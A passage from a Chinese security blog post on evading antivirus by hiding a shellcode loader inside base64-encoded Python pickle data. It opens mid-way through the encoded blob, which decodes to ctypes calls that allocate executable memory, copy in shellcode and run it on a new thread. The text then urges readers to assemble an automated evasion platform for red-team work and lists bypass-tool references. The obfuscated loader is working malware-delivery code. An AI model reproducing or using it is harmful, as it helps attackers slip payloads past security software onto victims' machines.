oY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQogCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))

否则生成的程序会闪退,无法正常上线。

检测结果如下:

利用加载器以及Python反序列化绕过AV


打造自动化免杀平台

根据上文我们介绍过的内容,相信你也可以组合代码构造一个自动化免杀平台,这样在之后的测试以及红队项目上就可以快人一步,旗开得胜,这里主要思路上文均已展开,后文不再赘述。

利用加载器以及Python反序列化绕过AV


后记

在本次研究过程中,参考了很多师傅的资料与分享,总结了一下思路,其中有一些问题还需要解决,Python语言作为胶水语言,理解起来比较方便,因此我们这里也是用Python举了一个例子,但是迎面而来的也有一些问题,例如生成的可执行程序体积较大、Python环境以及相应包的导入问题、形如Pyinstaller本身已经被部分杀软标记特征等,希望大家可以了解其中的思路与技巧后举一反三,收获更多的技巧与知识~

参考链接:

1. https://www.cnblogs.com/-chenxs/p/12318448.html2. https://github.com/TideSec/BypassAntiVirus3. https://www.cnblogs.com/Akkuman/p/11851057.html4. http://www.vuln.cn/80945. https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html6. https://mp.weixin.qq.com/s/c7gA4AeFWxMiTW-jN1BijQ


利用加载器以及Python反序列化绕过AV

利用加载器以及Python反序列化绕过AV

本文始发于微信公众号(谢公子学安全):利用加载器以及Python反序列化绕过AV

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: